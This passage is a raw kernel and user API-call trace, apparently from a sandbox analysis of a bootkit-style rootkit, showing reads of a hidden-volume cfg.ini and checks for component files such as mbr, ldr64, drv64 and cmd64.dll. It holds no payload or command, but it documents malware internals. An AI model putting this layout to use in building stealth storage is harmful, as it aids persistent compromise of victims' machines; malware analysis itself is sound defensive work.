_MaxCount=0x10) returned 0 [0121.452] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.452] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.452] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.452] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.452] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5150 [0121.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.452] KeLeaveCriticalRegion () [0121.452] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.452] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.452] KeEnterCriticalRegion () [0121.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.452] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.452] KeLeaveCriticalRegion () [0121.452] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.452] KeEnterCriticalRegion () [0121.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.452] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.452] IdePortDispatch () returned 0x103 [0121.453] KeWaitForMutexObject () returned 0x0 [0121.453] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.453] KeLeaveCriticalRegion () [0121.453] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.453] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.453] KeEnterCriticalRegion () [0121.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.453] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b32000 [0121.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.453] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.453] IdePortDispatch () returned 0x103 [0121.453] KeWaitForMutexObject () returned 0x0 [0121.453] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.453] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.453] IdePortDispatch () returned 0x103 [0121.454] KeWaitForMutexObject () returned 0x0 [0121.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.454] KeLeaveCriticalRegion () [0121.454] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.454] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.454] KeEnterCriticalRegion () [0121.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.454] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.454] KeLeaveCriticalRegion () [0121.454] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.454] KeEnterCriticalRegion () [0121.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.454] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.454] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.454] KeLeaveCriticalRegion () [0121.454] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.454] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.454] KeEnterCriticalRegion () [0121.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.455] ExFreePoolWithTag (P=0xfffffa8003bc5150, Tag=0x0) [0121.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.455] KeLeaveCriticalRegion () [0121.455] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.455] ReleaseMutex (hMutex=0xf0) returned 1 [0121.455] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.455] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.455] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.455] KeEnterCriticalRegion () [0121.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.455] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.455] IdePortDispatch () returned 0x103 [0121.455] KeWaitForMutexObject () returned 0x0 [0121.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.455] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.455] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.455] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.455] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.455] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5fb0 [0121.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.455] KeLeaveCriticalRegion () [0121.455] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.455] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.455] KeEnterCriticalRegion () [0121.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.455] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.455] KeLeaveCriticalRegion () [0121.455] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.455] KeEnterCriticalRegion () [0121.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.455] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.455] IdePortDispatch () returned 0x103 [0121.456] KeWaitForMutexObject () returned 0x0 [0121.456] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.456] KeLeaveCriticalRegion () [0121.456] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.456] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.456] KeEnterCriticalRegion () [0121.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.456] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b33000 [0121.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.456] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.456] IdePortDispatch () returned 0x103 [0121.456] KeWaitForMutexObject () returned 0x0 [0121.456] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.456] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.456] IdePortDispatch () returned 0x103 [0121.456] KeWaitForMutexObject () returned 0x0 [0121.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.457] KeLeaveCriticalRegion () [0121.457] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.457] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.457] KeEnterCriticalRegion () [0121.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.457] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.457] KeLeaveCriticalRegion () [0121.457] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.457] KeEnterCriticalRegion () [0121.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.457] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.457] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.457] KeLeaveCriticalRegion () [0121.457] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.457] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.457] KeEnterCriticalRegion () [0121.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.457] ExFreePoolWithTag (P=0xfffffa8003bc5fb0, Tag=0x0) [0121.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.457] KeLeaveCriticalRegion () [0121.457] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.457] ReleaseMutex (hMutex=0xf0) returned 1 [0121.457] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.457] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.457] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.458] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.458] KeEnterCriticalRegion () [0121.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.458] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.458] IdePortDispatch () returned 0x103 [0121.458] KeWaitForMutexObject () returned 0x0 [0121.458] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.458] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.458] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.458] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.458] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.458] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.458] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.458] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.458] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.458] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.458] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.458] KeLeaveCriticalRegion () [0121.458] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.458] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.458] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.458] KeEnterCriticalRegion () [0121.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.458] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.458] IdePortDispatch () returned 0x103 [0121.458] KeWaitForMutexObject () returned 0x0 [0121.459] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.459] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.459] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.459] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.459] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.459] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.459] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.459] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.459] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.459] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.459] KeLeaveCriticalRegion () [0121.459] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.459] ReleaseMutex (hMutex=0x100) returned 1 [0121.459] Sleep (dwMilliseconds=0x2bf20) [0121.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b97a990, dwHighDateTime=0x1d24fa4)) [0121.465] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.465] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.465] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.465] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.465] KeEnterCriticalRegion () [0121.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.465] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.465] IdePortDispatch () returned 0x103 [0121.466] KeWaitForMutexObject () returned 0x0 [0121.466] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.466] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.466] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.466] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.466] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.466] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbabc0 [0121.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.466] KeLeaveCriticalRegion () [0121.466] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.466] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.466] KeEnterCriticalRegion () [0121.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.466] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.466] KeLeaveCriticalRegion () [0121.466] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.467] KeEnterCriticalRegion () [0121.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.467] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.467] IdePortDispatch () returned 0x103 [0121.467] KeWaitForMutexObject () returned 0x0 [0121.467] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.467] KeLeaveCriticalRegion () [0121.467] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.467] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.467] KeEnterCriticalRegion () [0121.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.467] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b36000 [0121.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.467] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.467] IdePortDispatch () returned 0x103 [0121.467] KeWaitForMutexObject () returned 0x0 [0121.467] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.467] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.467] IdePortDispatch () returned 0x103 [0121.467] KeWaitForMutexObject () returned 0x0 [0121.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.468] KeLeaveCriticalRegion () [0121.468] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.468] 